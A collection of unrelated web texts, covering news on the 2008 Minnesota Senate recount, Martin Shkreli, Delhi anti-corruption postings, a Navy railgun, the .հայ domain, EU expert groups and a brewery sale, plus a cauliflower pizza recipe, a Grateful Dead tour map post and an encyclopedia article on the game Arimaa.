Image courtesy of Wikimedia Commons user: Jialiang Gao |
With the U.S. Senate recount still incomplete, attorneys on both sides have already armored up for the next pitched battle: over whether to reexamine thousands of rejected absentee ballots. With Republican U.S. Sen. Norm Coleman clinging to a reed-thin lead over DFL challenger Al Franken -- 180 votes as of Saturday night -- the issue of how and when absentee ballots should be counted has election law experts everywhere closely tracking the Minnesota recount drama. In a race this tight, the difference could come down to clerical errors on absentee ballots or even a challenge of Minnesota's law governing such ballots. "Campaigns over the years have challenged anything and everything," said recount expert Timothy Downs, principal author of "The Recount Primer" who has been involved in most major recounts over the years, including the biggest: Gore vs. Bush in 2000. Downs' co-author, Chris Sautter, hit the ground in Minneapolis last week as part of Franken's recount team. On Wednesday, both sides will face off at a state Canvassing Board hearing that could prove momentous, with discussion and perhaps a ruling on whether rejected absentee ballots are in or out. Despite the mounting number of challenges being made to the regular ballots being recounted now -- more than 1,900 as of Saturday evening, almost evenly divided between the campaigns -- experts say that most of those disputes will be easily resolved by the five-member board. As a result, the challenges may in the end make only modest changes. But if the Canvassing Board decides to review rejected absentee ballots, many still unexamined votes could get thrown into the mix, adding far more uncertainty.
"Ultimately, if the number of rejected ballots start to make a large enough stack, it can cast some cloud over the regularly recounted ballots," said Edward Foley, who directs the election law center at Ohio State University's Mortiz Law College. Foley said the race has already taken enough twists and turns to merit its own chapter in his upcoming book on the history of disputed elections. A Star Tribune analysis of rejected absentee ballot lists collected from 25 of the state's 87 counties shows that 2,066 would-be absentee voters were excluded from initial vote tallies in just those counties. The total does not include Hennepin County, home to about one quarter of the state's population, or several other metro counties. More ballots, more errors The reasons for rejecting absentee ballots vary. Many voters failed to fill out voter registration cards or to sign the backs of absentee envelopes, as required by law. Those ballots, Downs and others say, could be dispensed with quickly at a review hearing. But other situations could require careful scrutiny. And the sheer volume of absentee ballots this year has changed the conventional wisdom on what role they could play. More than 288,000 Minnesotans cast absentee ballots this year -- nearly one voter in 10 -- essentially turning the state's absentee system into a type of early voting. Once an alternative for the infirm, affluent snowbirds and travelers, absentee balloting this year became a key element of Democratic voter turnout strategy. "We had lines out the door for absentee voting," said Ramsey County Elections Manager Joe Mansky. "The lines had blacks, whites, Hispanics, immigrants, young, old -- everything," Mansky said. With increased numbers come increased errors, both by voters and administrators, said elections expert Robert Stein, a political science professor at Rice University, in Texas. Stein's class on elections and voting behavior spent Friday monitoring Minnesota news sites, examining every twist and turn of a race that has given election junkies one last rush. "I don't mean to be disrespectful," Stein said, "but it's been a hoot to watch. Everybody thought this was the kind of thing that would happen in Florida or Texas."
In Washington state's protracted 2004 gubernatorial race, a hand recount found 561 administrative errors on what had been rejected absentee ballots in a contest where the winner had led by 129 votes at one point. "You're down to less than two thousandths of a percent difference," Stein said on Friday, when fewer than 150 votes separated Coleman from Franken. "That's infinitesimal." Board vs. court The vast majority of rejected votes will stay rejected even on close examination, Downs said. "But in a race that could come down to a handful of votes, if even a fraction are found eligible, that could affect the outcome." Downs cautioned that no one should be too sure who it would favor. "There is no profile of an absentee voter that holds up anymore," he said. "It used to tilt Republican, but it's changing so much it's not predictive." The Franken campaign has argued vigorously that rejected ballots should be reexamined immediately by the Canvassing Board, going so far as to present affidavits from voters whose absentee ballots weren't counted. Coleman recount attorney Fritz Knaak said the Coleman campaign is basing its objection on the fact that the current recount is an administrative process rather than a judicial one. An administrative recount, he said, echoing an opinion issued by the attorney general last week, is designed under Minnesota law to reexamine ballots already counted, not to scrutinize decisions made about the eligibility of voters or validity of ballots. Those questions, Knaak said, would properly be considered by a court in an election contest brought by voters or campaigns. But Raleigh Levine, an election law professor at William Mitchell College of Law, said boards elsewhere have decided otherwise. "There definitely are other jurisdictions in which defective absentee ballots are examined by the canvassing board," Levine said. In Massachusetts, she noted, registrars are instructed to reexamine rejected absentee ballots as part of the administrative recount. Stein, of Rice University, said that ultimately, Minnesota's contest is unlikely to be determined by anything as mundane as an administrative recount. |
Turing Pharmaceuticals CEO Martin Shkreli (CBS/screen grab)
Turing Pharmaceuticals CEO Martin Shkreli accused Sen. Bernie Sanders (I-VT) of taking “cheap shots” against him while also challenging the Democratic presidential candidate to a debate, Attn reported.
Shkreli, who became known as “Pharma Bro” after being widely criticized for raising the price of the medication Daraprim from $13.50 a pill to $750 a pill last month, lashed out at Sanders through his Twitter account.
“It’s amazing to me that you, desiring to be the leader of our country, are so misinformed,” Shkreli wrote. “Let’s have a public debate on this.”
He also accused the senator of not understanding the healthcare industry, saying, “I hope he debates this topic with me instead of relying on soundbites and cheap shots.”
Shkreli’s tweets can be seen below.
@SenSanders It's amazing to me that you, desiring to be the leader of our country, are so misinformed. Let's have a public debate on this.
— Martin Shkreli (@MartinShkreli) October 9, 2015
Senator @BernieSanders doesn't understand healthcare. I hope he debates this topic with me instead of relying on soundbites and cheap shots. — Martin Shkreli (@MartinShkreli) October 9, 2015
The former hedge fund manager’s attack came after Sanders and Rep. Elijah Cummings (D-MD) contacted him on Sept. 21 asking for financial information about Turing Pharmaceuticals.
The two lawmakers later said in a statement that, after promising to lower the price of the drug in response to the public backlash, Shkreli “hired an army of new Washington lobbyists and lawyers to stem the massive fallout from his actions and to stymie congressional oversight.”
Shkreli fired back saying Sanders “should be ashamed” for attacking the industry, and later rejecting allegations that he raised the price of Daraprim out of greed.
“I don’t even own a car,” he wrote. “I don’t even have a driver’s license. Our company is not profitable. My salary is $0. I give millions to charity.”
Those tweets can be seen below.
Attacking the pharmaceutical industry that creates jobs and leads the world in advances in medical research–@SenSanders should be ashamed. — Martin Shkreli (@MartinShkreli) October 9, 2015 |
Eight Delhi Police officers, including a joint commissioner and seven inspectors, will join the ACB.
The appointment of a joint commissioner-rank officer of the Delhi Police by Lt-Governor Najeeb Jung in the Anti-Corruption Branch (ACB) of the state government has taken a political turn with Deputy Chief Minister Manish Sisodia sniffing a conspiracy in the posting.
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Sisodia alleged that the posting had been done as Jung had become nervous due to the reopening of the CNG fitness scam file. “Kya CNG ghotale ki file khulne se dar ke ghabrakar ki jaa rahi hai ACB ke new chief ki niyukti (Is the new ACB chief being appointed out of fear after the CNG fitness file has been reopened),” Sisodia tweeted.
[related-post]
Jung on Monday transferred Joint Commissioner M K Meena, who was in charge of the case of alleged suicide of Gajendra, the farmer who died at an AAP rally, to the ACB. After the Delhi government recruited officers from UP and Bihar in the ACB, which recently witnessed a fight between CM Arvind Kejriwal and Jung over the issue of jurisdiction, this is the first set of recruitment done by the Delhi Police in the anti-corruption unit.
Eight Delhi Police officers, including a joint commissioner and seven inspectors, will join the ACB. “The recruitment has been done to augment resources in fighting corruption,” Delhi Police spokesperson Rajan Bhagat said. Along with Meena, Inspectors Braj Mohan, Kumar Kant Mishra, Vivekanand Jha, Rajkumar, Rajendra Prasad, Ricchpal Singh Meena and Puran Chand have been transferred to the anti-graft body. Bhagat said more officers will be posted to the ACB as per requirement.
Meena was earlier posted with the security unit of Delhi Police and, after becoming the JCP of New Delhi range, he supervised the alleged maid torture case against former BSP MP Dhananjay Singh and his wife.
The Delhi BJP called Sisodia’s remarks a “compulsory habit to protest”. “Ever since they have come to power, protest is what they have been doing despite being in the government. The CM himself stated in public that they had sought officers from the Delhi Police and hoped that the L-G would direct the Delhi Police to send a few officers,” Satish Upadhyay, Delhi BJP chief, said.
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On Sisodia’s remark that the appointment of the officer who made Gajendra look like an accused reeked of a conspiracy, Upadhyay said, “There is no connection between that case and the appointment. They are sceptical of everything.” |
A co-worker of mine is currently on a special diet and has been experimenting with several low-carb dishes. One day a few weeks ago, she dropped by my office to tell me about a recipe she’d found – pizza crust made of cauliflower! Yes, it sounded a little strange, but I was definitely intrigued. Since she’s a culinary school graduate and enjoys food as much I do, I trust her judgement and wanted to try it.
She offered to bring a piece to the office the next day for me to sample and even day-old and reheated, it was really good!
My husband is a pizza fanatic, so this new discovery was particularly exciting. Since I try to limit the processed stuff we eat, cutting out simple carbs from our meals when possible, I don’t like to make or order pizza very often. I personally love the sauce, cheese and all the toppings that come on pizzas, but I don’t like the way I feel after eating all the dough that serves as the delivery vehicle, so this twist on the crust has made us both very happy.
With a hefty dose of veggies, I feel good about eating it myself and feeding it to him, which means he can get his pizza fix a lot more often now. We pile it high with a variety of toppings- mushrooms, spinach, red peppers, green peppers, onions, green and black olives, sometimes with meat, and sometimes without.
I’m not going to lie and say it’s just like eating a flour pizza crust because it’s not. But surprisingly, it’s not like eating cauliflower either. I’m not even sure that you’d be able to guess what it was made of if someone hadn’t already told you. The one problem I find is that while it’s not impossible to pick up a piece and eat with your hands, it’s much easier to use a fork. We feel that’s a small price to pay though in order to feel better about what we’re eating.
I’m interested to see what some of you think, so please, if you give it a go, come back and leave a comment!
Cauliflower Crust Pizza Serves 2; Adapted from Your Lighter Side. Ingredients: 1 cup cooked, riced cauliflower 1 cup shredded mozzarella cheese 1 egg, beaten 1 tsp dried oregano 1/2 tsp crushed garlic 1/2 tsp garlic salt olive oil (optional) pizza sauce, shredded cheese and your choice of toppings* Directions: To “Rice” the Cauliflower: Take 1 large head of fresh cauliflower, remove stems and leaves, and chop the florets into chunks. Add to food processor and pulse until it looks like grain. Do not over-do pulse or you will puree it. (If you don’t have a food processor, you can grate the whole head with a cheese grater). Place the riced cauliflower into a microwave safe bowl and microwave for 8 minutes (some microwaves are more powerful than others, so you may need to reduce this cooking time). There is no need to add water, as the natural moisture in the cauliflower is enough to cook itself. One large head should produce approximately 3 cups of riced cauliflower. The remainder can be used to make additional pizza crusts immediately, or can be stored in the refrigerator for up to one week. To Make the Pizza Crust: Preheat oven to 450 degrees. Spray a cookie sheet with non-stick cooking spray. In a medium bowl, stir together 1 cup cauliflower, egg and mozzarella. Add oregano, crushed garlic and garlic salt, stir. Transfer to the cookie sheet, and using your hands, pat out into a 9″ round. Optional: Brush olive oil over top of mixture to help with browning. Bake at 450 degrees for 15 minutes. Remove from oven. To the crust, add sauce, toppings and cheese. Place under a broiler at high heat just until cheese is melted (approximately 3-4 minutes). Enjoy! *Note that toppings need to be precooked since you are only broiling for a few minutes.
Note for those that don’ t have a microwave:
You can steam the florets on the stove before ricing them. The texture/consistency won’t be the same (It will be more like a puree) but it still works fine once you mix all the ingredients together! I know because I’ve tried it that way too! |
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U.S. Navy scientists broke their own world record for the most powerful gunshot, firing a 23-pound projectile 5,500 feet in a second. (Watch video of the test below.) With the amount of power it generates, the experimental electromagnetic "railgun" can hit a target 110 miles away. What is this "sci-fi" super-cannon, how does it work, and what does it promise for the future of warfare?
How does a railgun work?
Instead of gunpowder or other explosives, the railgun uses an electromagnetic pulse to hurl a projectile along metal rails and on toward the target. The power comes from refrigerator-size capacitors, and it expels an aluminum shell in much the same way that a camera builds up, then sets off its flash, says railgun project manager Charles Garnett, at the Naval Surface Warfare Center in Dahlgren, Va. The bullet is designed to smash and obliterate its targets with sheer force, not blow them up.
How powerful is the railgun?
A single megajoule is the amount of energy in a one-ton vehicle traveling at 100 miles per hour, says Navy researcher Roger Ellis. One of the shots fired on Friday generated 33 megajoules of force out of the barrel. The previous record was 10 megajoules, set in 2008 by the same railgun. Eventually, the Navy plans to have its railguns fire at 64 megajoules, which would theoretically send a projectile 200 miles in about six minutes. Current Navy artillery can shoot about 12 miles.
What's the advantage of a railgun?
The extra power and range, of course, but also safety. Because the railgun doesn't require explosives, ships can safely store 10 times more of the ammunition, and there are no moving parts to break down. The extra range means that a U.S. ship will be able to fire on enemy vessels that can't fire on it, and perhaps even shoot down cruise or ballistic missiles.
Is it battle-ready?
No — the Navy hopes to start testing the railguns on ships by 2018, and have them ready for use in the early 2020s. In this test, it took five minutes for the gun to power up, and the electromagnetic pulse needed to fire it still can't be generated from a ship's batteries. Safety is another issue. In this test, the 23-pound bullet was reduced to a "scalded piece of squat metal," says Spencer Ackerman in Wired, and the Navy wants to make sure the gun and ship carrying it don't "get as fried as the bullet under the intense power generated."
Is this powerful weapon a good thing?
"Depending on your proclivities," says Frank Kobola in Digital Trends, it's "either terrifying or incredibly awesome." Right now, all the applications are military in nature, he adds, but the same technology could one day propel space ships or even power nuclear reactors.
Sources: NY Daily News, Wired, Digital Trends, Mashable, Washington Post |
YEREVAN (ArmRadio)—The Armenian Ministry of Transport and Communication has launched the .հայ domain, which will work along the English language .am domain name. Նախագահ.հայ will be the first official website to be registered in the Armenian script.
The current .am domain was assigned to the Republic of Armenia in 1994, and the Internet Society NGO got the right to register it the same year. The same NGO retains the right to manage the .հայ domain.
“The registration process started back in 2012,” Vice-President of the Internet Society NGO, Grigory Saghyan, told reporters. He added that “writing in the Armenian script is compulsory for the system to recognize the website you are trying to access.”
To access websites registered on the .հայ domain from abroad, an Armenian keyboard must be installed; Windows provides that.
The Ministry of Transport and Communication has invited all state bodies to register their websites on the .հայ domain. The cost is the same as .am—9-10 thousand AMD for registration and 1,000 AMD monthly service fee.
One hundred fifty applications have already been submitted for registration, 70 of which are government agencies. |
The European Parliament on Wednesday (22 October) punched a €3.8 million hole in the EU commission 2015 budget as leverage until the Brussels-executive improves its transparency record.
The money will be released once MEPs in the budget committee are satisfied the commission has stepped up efforts to increase transparency on so-called expert groups, which offer commission officials advice on drafting new policies.
MEPs want more balanced expert groups (Photo: h.koppdelaney)
Critics say the groups are imbalanced because they sway too heavily towards industry-types without adequate input from others like civil society.
“Suspending these funds sends a strong signal to the commission that this cannot continue,” said German Green MEP Helga Trupel, who tabled the budget amendment.
The freeze reduces available funds to reimburse travel and expenses like food bills.
The commission, for its part, says the imbalance often occurs because not enough people from civil society with the required expertise apply to sit on the groups in the first place.
“It is not correct to say that the commission is not serious about making its expert groups more transparent and balanced,” said EU commission spokesperson Anthony Gravilli.
He pointed out that the membership of many groups has been reviewed and noted “transparency has been significantly enhanced” over the years via a special register for expert groups.
But while the overall lack of applications from civil society is a recognised problem, pro-transparency groups warn that some of those sitting in the groups are really corporate lobbyists cloaked in a "personal capacity" label.
A "personal capacity" label means the representative is supposed to be acting in the public interest and be independent.
The label - if incorrectly applied - could give the impression that a group is balanced when in fact it is not.
In a letter addressed to the EU ombudsman Emily O’Reilly in late August, Corporate Europe Observatory (CEO), an NGO monitoring transparency and ethics, highlighted several such examples.
It is a loophole and a demand the European Parliament on Wednesday wants closed.
Trupel’s amendment, which was widely endorsed by the political groups, requires the commission to ban lobbyists and corporate executives sitting in expert groups in a "personal capacity."
Other demands require the groups to be more balanced and ensure the selection process is open to public scrutiny.
Membership information, agendas, minutes, and participants’ submissions also need to be published online “unless if there is a clear and published reason for not providing this information.”
The EU ombudsman Emily O'Reilly over the summer launched her own inquiry into the matter with recommendations expected sometime next year. Euro-deputies want her findings to be integrated into the commission’s rulebook on the groups.
It is not the first time the parliament has used its budget powers to force the commission’s hand.
A similar effort by the MEPs was made in 2011 for the 2012 budget.
MEPs at the time had put €2 million into reserve, which they then lifted a few months later.
The commission said the reserve was lifted because it had fulfilled the conditions imposed by the parliament.
Not everyone agrees, with a new study out this month that says corporate interest continues to dominate the groups.
“Two years on and we're back in the same position because all other routes of reform have led to a dead end,” said Max Bank from pro-transparency group, LobbyControl.
Meanwhile, Wednesday’s vote on the 2015 budget has put the European Parliament in direct opposition to the Council – representing member states.
The assembly voted to increase the budget and reversed the cuts made by the Council.
The two sides are now set to discuss details in the hopes of getting the budget approved by the end of November. |
For all the Deadheads out there…
I made a Grateful Dead version of the tour map that I made for Phish.
I extracted the date and location of every Grateful Dead show from 1965 to 1995. For the purpose of mapping, I removed shows outside of North America (and Jamaica), but have kept all USA and Canada concerts in the database.
The data are mapped to show both the number of concerts per state/province, and the tour path. Six states had over 50 shows: California (884), New York (310), Pennsylvania (101), Massachusetts (85), Illinois (80), and New Jersey (54). The total number of shows in the database is 2,286. The light blue dots identify every city where a concert was played. The light blue path connects the concert locations chronologically, moving from the first show to the last. So if you followed the band and attended every show, this is the route you took.
Data sources: http://www.setlists.net/ |
MillerCoors, one of the world’s largest brewing companies, announced Thursday plans to buy a controlling share of San Diego’s Saint Archer Brewery.
The sale, expected to close within 30 days, is a milestone in the local craft beer industry: The first time an international corporation has bought a local brewery.
“This was about partnering with someone who can help us keep growing and brewing more great beer,” said Josh Landan, Saint Archer’s co-founder and president. “From the start, our number one goal was to get Saint Archer to the most people possible.”
View the photo gallery: MillerCoors buys St. Archer
The sale price was not revealed, although Landan said that Saint Archer’s employees and investors will have equity in the new venture. The entire staff of roughly 50 people, including a brewing team led by Kim Lutz and Yiga Miyashiro, will remain intact.
“All the beers are going to stay the same,” Landan said. “It’s really business as usual.”
Yet the deal represents a significant change to the local beer marketplace. Now in its third year, Saint Archer is a mid-sized operation that will sell an estimated 35,000 barrels of beer this year — far behind Stone and Ballast Point, the county’s largest breweries, each of which is poised to sell about 300,000 barrels in 2015.
Yet MillerCoors’ craft beer division, Tenth and Blake, has ambitious plans for Saint Archer.
“With this brand, Josh has aspirations to take it beyond California and to be a national brand,” said Scott Whitley, president of Tenth and Blake. “We think it has that potential, and we want to do it.”
Unlike many founders of San Diego breweries, Landan is not a homebrewer. The Sacramento native is a filmmaker whose documentaries — “Flow,” “Against the Grain,” “Me Myself and I” — focus on snowboarders and surfers. He was living in Ventura when drinking sessions with friends inspired the creation of Saint Archer.
“Craft beer is the one thing that brings everyone together,” said Landan, 36. “It sounded like a ton of fun.”
Backed by a group of investors that included skateboarders, snowboarders and surfers, Landed rented space in an industrial park, hired a staff and began selling beer. While its marketing campaigns stress athletics, Saint Archer has had some success with beer geeks. Its White Ale won a gold medal at last year’s Great American Beer Festival, and the brewery left this summer’s San Diego International Beer Festival with four medals.
Calling this a “lifestyle brand” is “unfair to the beer,” Whitley said. “There’s a terrific crowd of people who are loyal to the brand, but the beer is terrific.”
Yet the brand’s high-profile “beer ambassadors,” including professional athletes and musicians, alienated some in the local brewing fraternity.
“It seemed like they were using their semi-celebrity status to cash in as the hot brand,” said Tom Nickel, owner of O’Brien’s Pub in Kearny Mesa and Nickel Beer in Julian.
“There are a number of brands that have been trying to help further the legacy of San Diego’s making great beers. I wouldn’t put Saint Archer in that fold.”
By selling to MillerCoors, moreover, Saint Archer enters the “craft vs. crafty” debate, where purists scorn breweries acquired by conglomerates. The Brew Project, a local beer bar, used its Twitter account to slam the news: “Shameful day in the San Diego craft brewing community.”
In fact, response on social media has ranged from scathing to approving to awesomely weird:
Modern Times Beer Modern Times Beer: Still brewed, canned, & owned by a bunch of random crackpots behind a strip club. pic.twitter.com/DeYYWdaAj5 — Modern Times Beer (@ModernTimesBeer) September 10, 2015
“Craft beer is so local — it’s owned, at least metaphorically, by its fans,” said Gonzalo Quintero, who teaches a craft beer course at San Diego State University. “For this organization not to understand that is beyond a faux pas.”
Landan said he’s not concerned about any backlash: “I’m just not worried about that. I’m worried about making the best beer possible, and that’s it.”
Saint Archer’s sale was announced one day after Petaluma’s Lagunitas sold a 50 percent share to Holland’s Heineken. Losing sales to upstart craft breweries, brewing behemoths like Anheuser-Busch and Belgium’s Duvel Moortgat have been snapping up craft beer properties.
“If you can’t beat ’em, buy ’em,” said Brian Mulvaney, a senior vice president and beverage industry analyst for Bank of America/Merrill Lynch.
Saint Archer, in Mulvaney’s view, was a prime target: “They are focused on the younger, action sports consumer. And with that, they have developed a nice set of brands and flavors that were more sessionable, a little lighter.”
While Whitley said MillerCoors is not currently considering other San Diego purchases, Mulvaney isn’t so sure.
“There’s more to come,” he said. “I think you are going to see more acquisitions, more partnerships.” |
Not to be confused with ARIMA
Arimaa () (ə-REE-mə) is a two-player strategy board game that was designed to be playable with a standard chess set and difficult for computers while still being easy to learn and fun to play for humans. Since 2004, the Arimaa community has held three annual tournaments: a World Championship (humans only), a Computer Championship (computers only), and the Arimaa Challenge (human vs. computer). In 2015, the challenge was won decisively by the computer (Sharp by David Wu), with top players agreeing that computers had become better at the game than humans.[1] As it was a prerequisite for the prize to be awarded, Wu published a paper describing the algorithm and most of ICGA Journal Issue 38/1 was dedicated to this topic.[2] The algorithm combined traditional alpha–beta pruning (changing sides every 4 ply) with heuristic functions manually written while analysing human expert games.[3]
Arimaa was invented in 2003 by Omar Syed,[4] an Indian-American computer engineer trained in artificial intelligence. Syed was inspired by Garry Kasparov's defeat at the hands of the chess computer Deep Blue to design a new game which could be played with a standard chess set, would be difficult for computers to play well, but would have rules simple enough for his then four-year-old son Aamir to understand.[5] ("Arimaa" is "Aamir" spelled backwards plus an initial "a".)
Arimaa has won several awards including GAMES Magazine 2011 Best Abstract Strategy Game,[6] Creative Child Magazine 2010 Strategy Game of the Year,[7] and the 2010 Parents' Choice Approved Award.[8] It has also been the subject of several research papers.
Rules [ edit ]
Arimaa is played on an 8×8 board with four trap squares. There are six kinds of pieces, ranging from elephant (strongest) to rabbit (weakest). Stronger pieces can push or pull weaker pieces, and stronger pieces freeze weaker pieces. Pieces can be captured by dislodging them onto a trap square when they have no orthogonally adjacent friendly pieces.
The two players, Gold and Silver, each control sixteen pieces. These are, in order from strongest to weakest: one elephant ( ), one camel ( ), two horses ( ), two dogs ( ), two cats ( ), and eight rabbits ( ). These may be represented by the king, queen, rooks, bishops, knights, and pawns respectively when one plays using a chess set.[9]
Diagram 1
The players begin by setting up their pieces however they choose on their home rows.
Objective [ edit ]
The main object of the game is to move a rabbit of one's own color onto the home rank of the opponent, which is known as a goal. Thus Gold wins by moving a gold rabbit to the eighth rank, and Silver wins by moving a silver rabbit to the first rank. However, because it is difficult to usher a rabbit to the goal line while the board is full of pieces, an intermediate objective is to capture opposing pieces by pushing or pulling them into the trap squares.
The game can also be won by capturing all of the opponent's rabbits (elimination) or by depriving the opponent of legal moves (immobilization). Compared to goal, these are uncommon.
Setup [ edit ]
The game begins with an empty board. Gold places the sixteen gold pieces in any configuration on the first and second ranks. Silver then places the sixteen silver pieces in any configuration on the seventh and eighth ranks. Diagram 1 shows one possible initial placement.
Diagram 2
In the diagrammed position, if it were Gold's turn to move, Gold could win in three steps: The dog on a6 can push the rabbit on a7 to a8, thereby unfreezing the rabbit on b7, which can step to b8 for the victory.
Movement [ edit ]
After the pieces are placed on the board, the players alternate turns, starting with Gold. A turn consists of making one to four steps. With each step a piece may move into an unoccupied square one space left, right, forward, or backward, except that rabbits may not step backward. The steps of a turn may be made by a single piece or distributed among several pieces in any order.
A turn must make a net change to the position. Thus one cannot, for example, take one step forward and one step back with the same piece, effectively passing the turn and evading zugzwang. Furthermore, one's turn may not create the same position with the same player to move as has been created twice before. This rule is similar to the situational super ko rule in the game of Go, which prevents endless loops, and is in contrast to chess where endless loops are considered draws. The prohibitions on passing and repetition make Arimaa a drawless game.
Pushing and pulling [ edit ]
The second diagram, from the same game as the initial position above,[10] helps illustrate the remaining rules of movement.
A player may use two consecutive steps of a turn to dislodge an opposing piece with a stronger friendly piece which is adjacent in one of the four cardinal directions. For example, a player's dog may dislodge an opposing rabbit or cat, but not a dog, horse, camel, or elephant. The stronger piece may pull or push the adjacent weaker piece. When pulling, the stronger piece steps into an empty square, and the square it came from is occupied by the weaker piece. The silver elephant on d5 could step to d4 (or c5 or e5) and pull the gold horse from d6 to d5. When pushing, the weaker piece is moved to an adjacent empty square, and the square it came from is occupied by the stronger piece. The gold elephant on d3 could push the silver rabbit on d2 to e2 and then occupy d2. Note that the rabbit on d2 can't be pushed to d1, c2, or d3, because those squares are not empty.
Friendly pieces may not be dislodged. Also, a piece may not push and pull simultaneously. For example, the gold elephant on d3 could not simultaneously push the silver rabbit on d2 to e2 and pull the silver rabbit from c3 to d3. An elephant can never be dislodged, since there is nothing stronger.
Freezing [ edit ]
A piece which is adjacent in any cardinal direction to a stronger opposing piece is frozen, unless it is also adjacent to a friendly piece. Frozen pieces may not be moved by the owner, but may be dislodged by the opponent. A frozen piece can freeze another still weaker piece. The silver rabbit on a7 is frozen, but the one on d2 is able to move because it is adjacent to a silver piece. Similarly the gold rabbit on b7 is frozen, but the gold cat on c1 is not. The dogs on a6 and b6 do not freeze each other because they are of equal strength. An elephant cannot be frozen, since there is nothing stronger, but an elephant can be blockaded.
Capturing [ edit ]
A piece which enters a trap square is captured and removed from the game unless there is a friendly piece orthogonally adjacent. Silver could move to capture the gold horse on d6 by pushing it to c6 with the elephant on d5. A piece on a trap square is captured when all adjacent friendly pieces move away. Thus if the silver rabbit on c4 and the silver horse on c2 move away, voluntarily or by being dislodged, the silver rabbit on c3 will be captured.
Note that a piece may voluntarily step into a trap square, even if it is thereby captured. Also, the second step of a pulling maneuver is completed even if the piece doing the pulling is captured on the first step. For example, Silver could step the silver rabbit from f4 to g4 (so that it will no longer support pieces at f3), and then step the silver horse from f2 to f3, which captures the horse; the horse's move could still pull the gold rabbit from f1 to f2.
Strategy and tactics [ edit ]
For beginning insights into good play, see the Arimaa Wikibook.
Karl Juhnke, twice Arimaa world champion,[11] has written a book titled Beginning Arimaa which gives an introduction to Arimaa tactics and strategies. Also Jean Daligault, six time Arimaa world champion,[11] wrote Arimaa Strategies and Tactics which is geared towards those who have started playing Arimaa and want to improve their game.
Annual tournaments [ edit ]
World Championship [ edit ]
Each year since 2004 the Arimaa community has held a World Championship tournament.[11] The tournament is played over the Internet and is open to everyone. The current world champion is Matthew Craven of the United States of America.[11] Past world champion title holders are:[11]
2004 – Frank Heinemann of Germany
2005 – Karl Juhnke of USA
2006 – Till Wiechers of Germany
2007 – Jean Daligault of France
2008 – Karl Juhnke of USA
2009 – Jean Daligault of France
2010 – Jean Daligault of France
2011 – Jean Daligault of France
2012 – Hirohumi Takahashi of Japan
2013 – Jean Daligault of France
2014 – Jean Daligault of France
2015 – Mathew Brown of USA
2016 – Mathew Brown of USA
2017 – Mathew Brown of USA
2018 – Matthew Craven of USA
World Computer Championship [ edit ]
Each year from 2004 to 2015 the Arimaa community held a World Computer Championship tournament.[11] The tournament is played over the Internet and is open to everyone. The current champion is bot_sharp developed by David Wu of the USA.[11] Past computer world champion title holders are:[11]
2004 – bot_Bomb developed by David Fotland of USA
2005 – bot_Bomb developed by David Fotland of USA
2006 – bot_Bomb developed by David Fotland of USA
2007 – bot_Bomb developed by David Fotland of USA
2008 – bot_Bomb developed by David Fotland of USA
2009 – bot_clueless developed by Jeff Bacher of Canada
2010 – bot_marwin developed by Mattias Hultgren of Sweden
2011 – bot_sharp developed by David Wu of USA
2012 – bot_marwin developed by Mattias Hultgren of Sweden
2013 – bot_ziltoid developed by Ricardo Barreira of Portugal
2014 – bot_sharp developed by David Wu of USA
2015 – bot_sharp developed by David Wu of USA
Arimaa Challenge [ edit ]
The Arimaa Challenge was a cash prize of around $10,000 that was to have been available annually until 2020 for the first computer program to win the human-versus-computer Arimaa challenge.[12] As part of the conditions of the prize, the computer program must run on standard, off-the-shelf hardware.[12]
The Arimaa Challenge has been held twelve times, starting in 2004. Following the third match, Syed changed the format to require the software to win two out of three games against each of three players, to reduce the psychological pressure on individual volunteer defenders. Also Syed called for outside sponsorship of the Arimaa Challenge to build a bigger prize fund.
Year Prize[a] Challenger / Developer Human Defender (Human Rank)[13][b] Result Notes 2004 $10,000 Bomb /
David Fotland Omar Syed (1) 0–8 Syed gave a rabbit handicap in the last game and won. 2005 $10,000 Bomb /
David Fotland Frank Heinemann (5) 1–7 No handicap games 2006 $17,500 Bomb /
David Fotland Karl Juhnke (1)
Greg Magne (2)
Paul Mertens (5) 0–3
0–3
1–2 Mertens gave a camel handicap in his last game and lost. 2007 $17,100 Bomb /
David Fotland Karl Juhnke (1)
Omar Syed (9)
Brendan M (12)
N Siddiqui (23) 0–3
0–3
0–2
1–0 Juhnke gave handicaps of a dog, a horse, and a camel respectively, and won all three. Syed gave a cat handicap in his last game and won. Siddiqui substituted for Brendan's third game. 2008 $17,000 Bomb /
David Fotland Jean Daligault (2)
Greg Magne (3)
Mark Mistretta (20)
Omar Syed (24) 0–3
0–3
0–1
0–2 No handicap games. Syed substituted for Mistretta's final two games. 2009 $16,500 Clueless /
Jeff Bacher Jean Daligault (1)
Karl Juhnke (2)
Jan Macura (14)
Omar Syed (18) 0–2
1–2
1–2
0–1 Juhnke gave a dog handicap in his second game and lost. Daligault gave a horse handicap in his last game and won. Syed substituted for Daligault's first game. 2010 $16,250 Marwin /
Mattias Hultgren Greg Magne (3)
Louis-Daniel Scott (10)
Patrick Dudek (23) 0–3
1–2
2–1 Scott gave a dog handicap in his second game and lost. 2011 $11,000 Marwin /
Mattias Hultgren Karl Juhnke (3)
Gregory Clark (7)
Toby Hudson (14) 1–2
0–3
0–3 Juhnke gave a cat handicap in his last game and lost. 2012 $11,150 Briareus /
Ricardo Barreira Jean Daligault (1)
Hirohumi Takahashi (2)
Eric Momsen (5) 0-3
0-3
3-0 Takahashi gave a cat handicap in his last game and won. 2013 $11,000 Marwin /
Mattias Hultgren Mathew Brown (4)
Greg Magne (6)
Matthew Craven (31) 0-3
0-3
1-2 Magne gave a cat handicap in his last game and won. Brown gave a horse handicap in his last game and won. 2014 $12,000 Ziltoid /
Ricardo Barreira Karl Juhnke (3)
Samuel Schüler (12)
Max Manual (73)[c] 0-3
1-2
1-2 No handicap games. 2015 $12,000 Sharp /
David Wu Mathew Brown (1)
Jean Daligault (4)
Lev Ruchka (13) 2-1
2-1
3-0 David Wu wins the Arimaa Challenge.
In the first five challenge cycles, David Fotland, programmer of Many Faces of Go, won the Arimaa Computer Championship and the right to play for the prize money, only to see his program beaten decisively each year. In 2009 Fotland's program was surpassed by several new programs in the same year, the strongest of which was Clueless by Jeff Bacher. Humanity's margin of dominance over computers appeared to widen each year from 2004 to 2008 as the best human players improved, but the 2009 Arimaa Challenge was more competitive. Clueless became the first bot to win two games of a Challenge match.
